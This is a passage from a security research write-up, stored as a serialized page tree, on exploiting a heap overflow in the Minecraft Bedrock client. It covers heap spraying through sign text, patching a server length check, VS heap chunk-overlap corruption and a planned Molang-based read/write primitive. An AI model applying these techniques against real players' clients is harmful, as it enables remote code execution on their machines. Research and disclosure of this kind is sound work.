sign_location\n",{"type":23,"tag":481,"props":149138,"children":149139},{"class":483,"line":21285},[149140],{"type":23,"tag":481,"props":149141,"children":149142},{"style":525},[149143],{"type":28,"value":122646},{"type":23,"tag":481,"props":149145,"children":149146},{"class":483,"line":21293},[149147,149151,149155,149159],{"type":23,"tag":481,"props":149148,"children":149149},{"style":508},[149150],{"type":28,"value":148639},{"type":23,"tag":481,"props":149152,"children":149153},{"style":525},[149154],{"type":28,"value":199},{"type":23,"tag":481,"props":149156,"children":149157},{"style":610},[149158],{"type":28,"value":148246},{"type":23,"tag":481,"props":149160,"children":149161},{"style":525},[149162],{"type":28,"value":988},{"type":23,"tag":481,"props":149164,"children":149165},{"class":483,"line":21330},[149166,149170,149174,149178,149182,149186],{"type":23,"tag":481,"props":149167,"children":149168},{"style":508},[149169],{"type":28,"value":148659},{"type":23,"tag":481,"props":149171,"children":149172},{"style":525},[149173],{"type":28,"value":199},{"type":23,"tag":481,"props":149175,"children":149176},{"style":610},[149177],{"type":28,"value":148267},{"type":23,"tag":481,"props":149179,"children":149180},{"style":525},[149181],{"type":28,"value":618},{"type":23,"tag":481,"props":149183,"children":149184},{"style":1805},[149185],{"type":28,"value":148276},{"type":23,"tag":481,"props":149187,"children":149188},{"style":525},[149189],{"type":28,"value":675},{"type":23,"tag":481,"props":149191,"children":149192},{"class":483,"line":21343},[149193],{"type":23,"tag":481,"props":149194,"children":149195},{"style":525},[149196],{"type":28,"value":122646},{"type":23,"tag":481,"props":149198,"children":149199},{"class":483,"line":21356},[149200],{"type":23,"tag":481,"props":149201,"children":149202},{"emptyLinePlaceholder":15},[149203],{"type":28,"value":1210},{"type":23,"tag":481,"props":149205,"children":149206},{"class":483,"line":21369},[149207,149211,149215],{"type":23,"tag":481,"props":149208,"children":149209},{"style":525},[149210],{"type":28,"value":148542},{"type":23,"tag":481,"props":149212,"children":149213},{"style":514},[149214],{"type":28,"value":7074},{"type":23,"tag":481,"props":149216,"children":149217},{"style":525},[149218],{"type":28,"value":9259},{"type":23,"tag":481,"props":149220,"children":149221},{"class":483,"line":21423},[149222],{"type":23,"tag":481,"props":149223,"children":149224},{"style":525},[149225],{"type":28,"value":870},{"type":23,"tag":481,"props":149227,"children":149228},{"class":483,"line":21432},[149229],{"type":23,"tag":481,"props":149230,"children":149231},{"style":525},[149232],{"type":28,"value":879},{"type":23,"tag":481,"props":149234,"children":149235},{"class":483,"line":29796},[149236],{"type":23,"tag":481,"props":149237,"children":149238},{"style":525},[149239],{"type":28,"value":1443},{"type":23,"tag":481,"props":149241,"children":149242},{"class":483,"line":29817},[149243],{"type":23,"tag":481,"props":149244,"children":149245},{"emptyLinePlaceholder":15},[149246],{"type":28,"value":1210},{"type":23,"tag":481,"props":149248,"children":149249},{"class":483,"line":78483},[149250,149255,149259,149264,149268,149273,149277,149282,149286,149291,149295,149299],{"type":23,"tag":481,"props":149251,"children":149252},{"style":508},[149253],{"type":28,"value":149254},"world",{"type":23,"tag":481,"props":149256,"children":149257},{"style":525},[149258],{"type":28,"value":199},{"type":23,"tag":481,"props":149260,"children":149261},{"style":508},[149262],{"type":28,"value":149263},"afterEvents",{"type":23,"tag":481,"props":149265,"children":149266},{"style":525},[149267],{"type":28,"value":199},{"type":23,"tag":481,"props":149269,"children":149270},{"style":508},[149271],{"type":28,"value":149272},"playerSpawn",{"type":23,"tag":481,"props":149274,"children":149275},{"style":525},[149276],{"type":28,"value":199},{"type":23,"tag":481,"props":149278,"children":149279},{"style":610},[149280],{"type":28,"value":149281},"subscribe",{"type":23,"tag":481,"props":149283,"children":149284},{"style":525},[149285],{"type":28,"value":29038},{"type":23,"tag":481,"props":149287,"children":149288},{"style":508},[149289],{"type":28,"value":149290},"arg",{"type":23,"tag":481,"props":149292,"children":149293},{"style":525},[149294],{"type":28,"value":598},{"type":23,"tag":481,"props":149296,"children":149297},{"style":497},[149298],{"type":28,"value":12310},{"type":23,"tag":481,"props":149300,"children":149301},{"style":525},[149302],{"type":28,"value":809},{"type":23,"tag":481,"props":149304,"children":149305},{"class":483,"line":78496},[149306,149311],{"type":23,"tag":481,"props":149307,"children":149308},{"style":610},[149309],{"type":28,"value":149310}," create_wall",{"type":23,"tag":481,"props":149312,"children":149313},{"style":525},[149314],{"type":28,"value":1201},{"type":23,"tag":481,"props":149316,"children":149317},{"class":483,"line":78504},[149318],{"type":23,"tag":481,"props":149319,"children":149320},{"style":525},[149321],{"type":28,"value":32855},{"type":23,"tag":481,"props":149323,"children":149324},{"class":483,"line":78512},[149325],{"type":23,"tag":481,"props":149326,"children":149327},{"emptyLinePlaceholder":15},[149328],{"type":28,"value":1210},{"type":23,"tag":481,"props":149330,"children":149331},{"class":483,"line":78520},[149332,149336,149340,149345,149349,149354,149358,149362,149366,149370,149374,149378,149382,149386],{"type":23,"tag":481,"props":149333,"children":149334},{"style":508},[149335],{"type":28,"value":149254},{"type":23,"tag":481,"props":149337,"children":149338},{"style":525},[149339],{"type":28,"value":199},{"type":23,"tag":481,"props":149341,"children":149342},{"style":508},[149343],{"type":28,"value":149344},"beforeEvents",{"type":23,"tag":481,"props":149346,"children":149347},{"style":525},[149348],{"type":28,"value":199},{"type":23,"tag":481,"props":149350,"children":149351},{"style":508},[149352],{"type":28,"value":149353},"playerLeave",{"type":23,"tag":481,"props":149355,"children":149356},{"style":525},[149357],{"type":28,"value":199},{"type":23,"tag":481,"props":149359,"children":149360},{"style":610},[149361],{"type":28,"value":149281},{"type":23,"tag":481,"props":149363,"children":149364},{"style":525},[149365],{"type":28,"value":618},{"type":23,"tag":481,"props":149367,"children":149368},{"style":497},[149369],{"type":28,"value":33663},{"type":23,"tag":481,"props":149371,"children":149372},{"style":525},[149373],{"type":28,"value":578},{"type":23,"tag":481,"props":149375,"children":149376},{"style":508},[149377],{"type":28,"value":149290},{"type":23,"tag":481,"props":149379,"children":149380},{"style":525},[149381],{"type":28,"value":598},{"type":23,"tag":481,"props":149383,"children":149384},{"style":497},[149385],{"type":28,"value":12310},{"type":23,"tag":481,"props":149387,"children":149388},{"style":525},[149389],{"type":28,"value":809},{"type":23,"tag":481,"props":149391,"children":149392},{"class":483,"line":78560},[149393,149398],{"type":23,"tag":481,"props":149394,"children":149395},{"style":610},[149396],{"type":28,"value":149397}," remove_wall",{"type":23,"tag":481,"props":149399,"children":149400},{"style":525},[149401],{"type":28,"value":1201},{"type":23,"tag":481,"props":149403,"children":149404},{"class":483,"line":78568},[149405],{"type":23,"tag":481,"props":149406,"children":149407},{"style":525},[149408],{"type":28,"value":32855},{"type":23,"tag":24,"props":149410,"children":149411},{},[149412],{"type":28,"value":149413},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":24,"props":149415,"children":149416},{},[149417],{"type":23,"tag":149,"props":149418,"children":149421},{"alt":149419,"src":149420},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":24,"props":149423,"children":149424},{},[149425],{"type":28,"value":149426},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":16388,"props":149428,"children":149430},{"id":149429},"a-small-roadblock",[149431],{"type":28,"value":149432},"A Small Roadblock",{"type":23,"tag":24,"props":149434,"children":149435},{},[149436],{"type":28,"value":149437},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":435,"props":149439,"children":149441},{"code":149440},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[149442],{"type":23,"tag":64,"props":149443,"children":149444},{"__ignoreMap":7},[149445],{"type":28,"value":149440},{"type":23,"tag":24,"props":149447,"children":149448},{},[149449,149451,149457],{"type":28,"value":149450},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":64,"props":149452,"children":149454},{"className":149453},[],[149455],{"type":28,"value":149456},"512",{"type":28,"value":149458}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":24,"props":149460,"children":149461},{},[149462],{"type":28,"value":149463},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":24,"props":149465,"children":149466},{},[149467],{"type":28,"value":149468},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":23,"tag":24,"props":149470,"children":149471},{},[149472],{"type":23,"tag":149,"props":149473,"children":149475},{"alt":48104,"src":149474},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":24,"props":149477,"children":149478},{},[149479,149481,149487],{"type":28,"value":149480},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":64,"props":149482,"children":149484},{"className":149483},[],[149485],{"type":28,"value":149486},"string_length \u003C= 512",{"type":28,"value":149488}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":24,"props":149490,"children":149491},{},[149492],{"type":28,"value":149493},"The disassembly of the comparison looks like this:",{"type":23,"tag":24,"props":149495,"children":149496},{},[149497],{"type":23,"tag":149,"props":149498,"children":149500},{"alt":48104,"src":149499},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":24,"props":149502,"children":149503},{},[149504,149506,149511,149513,149518,149519,149524,149526,149532,149534,149540,149542,149547,149549,149554],{"type":28,"value":149505},"The code compares ",{"type":23,"tag":64,"props":149507,"children":149509},{"className":149508},[],[149510],{"type":28,"value":54301},{"type":28,"value":149512}," (the string length) to ",{"type":23,"tag":64,"props":149514,"children":149516},{"className":149515},[],[149517],{"type":28,"value":125346},{"type":28,"value":578},{"type":23,"tag":64,"props":149520,"children":149522},{"className":149521},[],[149523],{"type":28,"value":149456},{"type":28,"value":149525}," decimal). It then performs a ",{"type":23,"tag":64,"props":149527,"children":149529},{"className":149528},[],[149530],{"type":28,"value":149531},"jbe",{"type":28,"value":149533},", jumping to address ",{"type":23,"tag":64,"props":149535,"children":149537},{"className":149536},[],[149538],{"type":28,"value":149539},"0x14275114c",{"type":28,"value":149541}," if ",{"type":23,"tag":64,"props":149543,"children":149545},{"className":149544},[],[149546],{"type":28,"value":54301},{"type":28,"value":149548}," is less than or equal to ",{"type":23,"tag":64,"props":149550,"children":149552},{"className":149551},[],[149553],{"type":28,"value":149456},{"type":28,"value":149555},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":24,"props":149557,"children":149558},{},[149559,149561,149566,149568,149574],{"type":28,"value":149560},"To force execution down this path, we patched the ",{"type":23,"tag":64,"props":149562,"children":149564},{"className":149563},[],[149565],{"type":28,"value":149531},{"type":28,"value":149567}," instruction to an unconditional ",{"type":23,"tag":64,"props":149569,"children":149571},{"className":149570},[],[149572],{"type":28,"value":149573},"jmp",{"type":28,"value":149575},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":24,"props":149577,"children":149578},{},[149579],{"type":23,"tag":149,"props":149580,"children":149582},{"alt":48104,"src":149581},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":24,"props":149584,"children":149585},{},[149586,149588,149593,149595,149600],{"type":28,"value":149587},"After patching the server and calling ",{"type":23,"tag":64,"props":149589,"children":149591},{"className":149590},[],[149592],{"type":28,"value":147697},{"type":28,"value":149594}," with a size of ",{"type":23,"tag":64,"props":149596,"children":149598},{"className":149597},[],[149599],{"type":28,"value":55675},{"type":28,"value":149601},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":24,"props":149603,"children":149604},{},[149605],{"type":23,"tag":149,"props":149606,"children":149608},{"alt":48104,"src":149607},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":16288,"props":149610,"children":149611},{},[],{"type":23,"tag":24,"props":149613,"children":149614},{},[149615],{"type":28,"value":149616},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":24,"props":149618,"children":149619},{},[149620],{"type":28,"value":149621},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":7092,"props":149623,"children":149625},{"id":149624},"overlapping-heap-chunks",[149626],{"type":28,"value":149627},"Overlapping Heap Chunks",{"type":23,"tag":24,"props":149629,"children":149630},{},[149631,149633,149638],{"type":28,"value":149632},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":190,"props":149634,"children":149636},{"href":147441,"rel":149635},[194],[149637],{"type":28,"value":45109},{"type":28,"value":149639},"), so we will present a high-level overview.",{"type":23,"tag":24,"props":149641,"children":149642},{},[149643,149645,149651],{"type":28,"value":149644},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":64,"props":149646,"children":149648},{"className":149647},[],[149649],{"type":28,"value":149650},"_HEAP_VS_CHUNK_HEADER",{"type":28,"value":149652}," structure layout is required:",{"type":23,"tag":435,"props":149654,"children":149656},{"code":149655}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[149657],{"type":23,"tag":64,"props":149658,"children":149659},{"__ignoreMap":7},[149660],{"type":28,"value":149655},{"type":23,"tag":24,"props":149662,"children":149663},{},[149664,149666,149672,149674,149680,149681,149687,149688,149694,149696,149701,149703,149708,149710,149716,149718,149723,149725,149731],{"type":28,"value":149665},"At offset 0 there is a header ",{"type":23,"tag":64,"props":149667,"children":149669},{"className":149668},[],[149670],{"type":28,"value":149671},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":28,"value":149673}," containing fields such as ",{"type":23,"tag":64,"props":149675,"children":149677},{"className":149676},[],[149678],{"type":28,"value":149679},"MemoryCost",{"type":28,"value":588},{"type":23,"tag":64,"props":149682,"children":149684},{"className":149683},[],[149685],{"type":28,"value":149686},"UnsafeSize",{"type":28,"value":588},{"type":23,"tag":64,"props":149689,"children":149691},{"className":149690},[],[149692],{"type":28,"value":149693},"UnsafePrevSize",{"type":28,"value":149695},", etc. For the attack we only care about the ",{"type":23,"tag":64,"props":149697,"children":149699},{"className":149698},[],[149700],{"type":28,"value":149686},{"type":28,"value":149702}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":64,"props":149704,"children":149706},{"className":149705},[],[149707],{"type":28,"value":123969},{"type":28,"value":149709},", so for a chunk of size ",{"type":23,"tag":64,"props":149711,"children":149713},{"className":149712},[],[149714],{"type":28,"value":149715},"0x4010",{"type":28,"value":149717}," the value of ",{"type":23,"tag":64,"props":149719,"children":149721},{"className":149720},[],[149722],{"type":28,"value":149686},{"type":28,"value":149724}," would be ",{"type":23,"tag":64,"props":149726,"children":149728},{"className":149727},[],[149729],{"type":28,"value":149730},"0x401",{"type":28,"value":199},{"type":23,"tag":24,"props":149733,"children":149734},{},[149735,149736,149741],{"type":28,"value":61745},{"type":23,"tag":64,"props":149737,"children":149739},{"className":149738},[],[149740],{"type":28,"value":149686},{"type":28,"value":149742}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":24,"props":149744,"children":149745},{},[149746,149748,149753,149755,149760,149762,149768,149770,149775],{"type":28,"value":149747},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":64,"props":149749,"children":149751},{"className":149750},[],[149752],{"type":28,"value":149686},{"type":28,"value":149754}," in the smallest possible VS chunk (",{"type":23,"tag":64,"props":149756,"children":149758},{"className":149757},[],[149759],{"type":28,"value":149715},{"type":28,"value":149761},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":64,"props":149763,"children":149765},{"className":149764},[],[149766],{"type":28,"value":149767},"[0x10, 0xffff0]",{"type":28,"value":149769}," range, the probability that it exceeds ",{"type":23,"tag":64,"props":149771,"children":149773},{"className":149772},[],[149774],{"type":28,"value":149715},{"type":28,"value":149776}," is:",{"type":23,"tag":435,"props":149778,"children":149780},{"code":149779},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[149781],{"type":23,"tag":64,"props":149782,"children":149783},{"__ignoreMap":7},[149784],{"type":28,"value":149779},{"type":23,"tag":24,"props":149786,"children":149787},{},[149788],{"type":28,"value":149789},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":24,"props":149791,"children":149792},{},[149793],{"type":28,"value":149794},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":16388,"props":149796,"children":149798},{"id":149797},"overlap-attack-overview",[149799],{"type":28,"value":149800},"Overlap Attack Overview",{"type":23,"tag":24,"props":149802,"children":149803},{},[149804,149806,149811],{"type":28,"value":149805},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":64,"props":149807,"children":149809},{"className":149808},[],[149810],{"type":28,"value":123992},{"type":28,"value":149812}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":24,"props":149814,"children":149815},{},[149816,149818,149823,149825,149830],{"type":28,"value":149817},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":64,"props":149819,"children":149821},{"className":149820},[],[149822],{"type":28,"value":145700},{"type":28,"value":149824},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":64,"props":149826,"children":149828},{"className":149827},[],[149829],{"type":28,"value":145700},{"type":28,"value":149831},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":24,"props":149833,"children":149834},{},[149835,149837,149842],{"type":28,"value":149836},"To remove those ",{"type":23,"tag":64,"props":149838,"children":149840},{"className":149839},[],[149841],{"type":28,"value":145700},{"type":28,"value":149843},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":24,"props":149845,"children":149846},{},[149847],{"type":28,"value":149848},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":435,"props":149850,"children":149852},{"code":149851},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[149853],{"type":23,"tag":64,"props":149854,"children":149855},{"__ignoreMap":7},[149856],{"type":28,"value":149851},{"type":23,"tag":24,"props":149858,"children":149859},{},[149860,149862,149867,149869,149874],{"type":28,"value":149861},"Next we create ",{"type":23,"tag":127,"props":149863,"children":149864},{},[149865],{"type":28,"value":149866},"holes",{"type":28,"value":149868}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":64,"props":149870,"children":149872},{"className":149871},[],[149873],{"type":28,"value":145700},{"type":28,"value":149875},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":435,"props":149877,"children":149879},{"code":149878}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[149880],{"type":23,"tag":64,"props":149881,"children":149882},{"__ignoreMap":7},[149883],{"type":28,"value":149878},{"type":23,"tag":24,"props":149885,"children":149886},{},[149887,149889,149894,149896,149901],{"type":28,"value":149888},"When a ",{"type":23,"tag":64,"props":149890,"children":149892},{"className":149891},[],[149893],{"type":28,"value":145700},{"type":28,"value":149895}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":64,"props":149897,"children":149899},{"className":149898},[],[149900],{"type":28,"value":149686},{"type":28,"value":149902}," field will be overwritten:",{"type":23,"tag":435,"props":149904,"children":149906},{"code":149905}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[149907],{"type":23,"tag":64,"props":149908,"children":149909},{"__ignoreMap":7},[149910],{"type":28,"value":149905},{"type":23,"tag":24,"props":149912,"children":149913},{},[149914,149916,149921,149923,149928,149930,149935],{"type":28,"value":149915},"Once ",{"type":23,"tag":64,"props":149917,"children":149919},{"className":149918},[],[149920],{"type":28,"value":149686},{"type":28,"value":149922}," has been overwritten, ",{"type":23,"tag":64,"props":149924,"children":149926},{"className":149925},[],[149927],{"type":28,"value":145700},{"type":28,"value":149929}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":64,"props":149931,"children":149933},{"className":149932},[],[149934],{"type":28,"value":149686},{"type":28,"value":149936}," field corrupted:",{"type":23,"tag":435,"props":149938,"children":149940},{"code":149939}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[149941],{"type":23,"tag":64,"props":149942,"children":149943},{"__ignoreMap":7},[149944],{"type":28,"value":149939},{"type":23,"tag":24,"props":149946,"children":149947},{},[149948],{"type":28,"value":149949},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":435,"props":149951,"children":149953},{"code":149952}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[149954],{"type":23,"tag":64,"props":149955,"children":149956},{"__ignoreMap":7},[149957],{"type":28,"value":149952},{"type":23,"tag":24,"props":149959,"children":149960},{},[149961],{"type":28,"value":149962},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":435,"props":149964,"children":149966},{"code":149965}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[149967],{"type":23,"tag":64,"props":149968,"children":149969},{"__ignoreMap":7},[149970],{"type":28,"value":149965},{"type":23,"tag":16288,"props":149972,"children":149973},{},[],{"type":23,"tag":24,"props":149975,"children":149976},{},[149977],{"type":28,"value":149978},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":24,"props":149980,"children":149981},{},[149982],{"type":28,"value":149983},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":7092,"props":149985,"children":149987},{"id":149986},"molang",[149988],{"type":28,"value":149989},"Molang",{"type":23,"tag":24,"props":149991,"children":149992},{},[149993,149995,150002],{"type":28,"value":149994},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":23,"tag":190,"props":149996,"children":149999},{"href":149997,"rel":149998},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[194],[150000],{"type":28,"value":150001},"syntax guide",{"type":28,"value":199},{"type":23,"tag":24,"props":150004,"children":150005},{},[150006,150008,150013,150014,150019],{"type":28,"value":150007},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":64,"props":150009,"children":150011},{"className":150010},[],[150012],{"type":28,"value":6055},{"type":28,"value":8478},{"type":23,"tag":64,"props":150015,"children":150017},{"className":150016},[],[150018],{"type":28,"value":13178},{"type":28,"value":150020}," operators are supported.",{"type":23,"tag":24,"props":150022,"children":150023},{},[150024,150026,150032,150034,150039,150041,150046,150047,150052,150053],{"type":28,"value":150025},"Variables are defined by prepending ",{"type":23,"tag":64,"props":150027,"children":150029},{"className":150028},[],[150030],{"type":28,"value":150031},"variable.",{"type":28,"value":150033}," to the name and assigning a value. For example, to define ",{"type":23,"tag":64,"props":150035,"children":150037},{"className":150036},[],[150038],{"type":28,"value":6564},{"type":28,"value":150040}," as the sum of ",{"type":23,"tag":64,"props":150042,"children":150044},{"className":150043},[],[150045],{"type":28,"value":190},{"type":28,"value":8478},{"type":23,"tag":64,"props":150048,"children":150050},{"className":150049},[],[150051],{"type":28,"value":739},{"type":28,"value":12820},{"type":23,"tag":64,"props":150054,"children":150056},{"className":150055},[],[150057],{"type":28,"value":150058},"variable.result = variable.a + variable.b;",{"type":23,"tag":24,"props":150060,"children":150061},{},[150062,150064,150069,150070,150075,150076,150081,150082,150087],{"type":28,"value":150063},"Logical operators such as ",{"type":23,"tag":64,"props":150065,"children":150067},{"className":150066},[],[150068],{"type":28,"value":19917},{"type":28,"value":588},{"type":23,"tag":64,"props":150071,"children":150073},{"className":150072},[],[150074],{"type":28,"value":70727},{"type":28,"value":588},{"type":23,"tag":64,"props":150077,"children":150079},{"className":150078},[],[150080],{"type":28,"value":3282},{"type":28,"value":588},{"type":23,"tag":64,"props":150083,"children":150085},{"className":150084},[],[150086],{"type":28,"value":7947},{"type":28,"value":150088},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":435,"props":150090,"children":150092},{"code":150091},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[150093],{"type":23,"tag":64,"props":150094,"children":150095},{"__ignoreMap":7},[150096],{"type":28,"value":150091},{"type":23,"tag":24,"props":150098,"children":150099},{},[150100],{"type":28,"value":150101},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":16388,"props":150103,"children":150105},{"id":150104},"molang-internals",[150106],{"type":28,"value":150107},"Molang Internals",{"type":23,"tag":24,"props":150109,"children":150110},{},[150111],{"type":28,"value":150112},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":24,"props":150114,"children":150115},{},[150116],{"type":28,"value":150117},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":16388,"props":150119,"children":150121},{"id":150120},"molangvariable-and-molangscriptarg",[150122],{"type":28,"value":150123},"MolangVariable and MolangScriptArg",{"type":23,"tag":24,"props":150125,"children":150126},{},[150127,150128,150134],{"type":28,"value":99883},{"type":23,"tag":64,"props":150129,"children":150131},{"className":150130},[],[150132],{"type":28,"value":150133},"MolangVariable",{"type":28,"value":150135}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":435,"props":150137,"children":150139},{"code":150138,"language":661,"meta":7,"className":14005,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[150140],{"type":23,"tag":64,"props":150141,"children":150142},{"__ignoreMap":7},[150143,150155,150162,150174,150187,150195,150202,150209,150221,150234,150246,150276,150284,150291,150298],{"type":23,"tag":481,"props":150144,"children":150145},{"class":483,"line":484},[150146,150150],{"type":23,"tag":481,"props":150147,"children":150148},{"style":497},[150149],{"type":28,"value":6884},{"type":23,"tag":481,"props":150151,"children":150152},{"style":525},[150153],{"type":28,"value":150154}," MolangVariable {\n",{"type":23,"tag":481,"props":150156,"children":150157},{"class":483,"line":351},[150158],{"type":23,"tag":481,"props":150159,"children":150160},{"style":525},[150161],{"type":28,"value":59314},{"type":23,"tag":481,"props":150163,"children":150164},{"class":483,"line":531},[150165,150169],{"type":23,"tag":481,"props":150166,"children":150167},{"style":497},[150168],{"type":28,"value":3529},{"type":23,"tag":481,"props":150170,"children":150171},{"style":525},[150172],{"type":28,"value":150173}," HashedString {\n",{"type":23,"tag":481,"props":150175,"children":150176},{"class":483,"line":567},[150177,150182],{"type":23,"tag":481,"props":150178,"children":150179},{"style":497},[150180],{"type":28,"value":150181}," uint64_t",{"type":23,"tag":481,"props":150183,"children":150184},{"style":525},[150185],{"type":28,"value":150186}," variable_name_hash;\n",{"type":23,"tag":481,"props":150188,"children":150189},{"class":483,"line":678},[150190],{"type":23,"tag":481,"props":150191,"children":150192},{"style":525},[150193],{"type":28,"value":150194}," std::string variable_name;\n",{"type":23,"tag":481,"props":150196,"children":150197},{"class":483,"line":784},[150198],{"type":23,"tag":481,"props":150199,"children":150200},{"style":525},[150201],{"type":28,"value":36515},{"type":23,"tag":481,"props":150203,"children":150204},{"class":483,"line":812},[150205],{"type":23,"tag":481,"props":150206,"children":150207},{"style":525},[150208],{"type":28,"value":59314},{"type":23,"tag":481,"props":150210,"children":150211},{"class":483,"line":825},[150212,150216],{"type":23,"tag":481,"props":150213,"children":150214},{"style":497},[150215],{"type":28,"value":3529},{"type":23,"tag":481,"props":150217,"children":150218},{"style":525},[150219],{"type":28,"value":150220}," MolangScriptArg 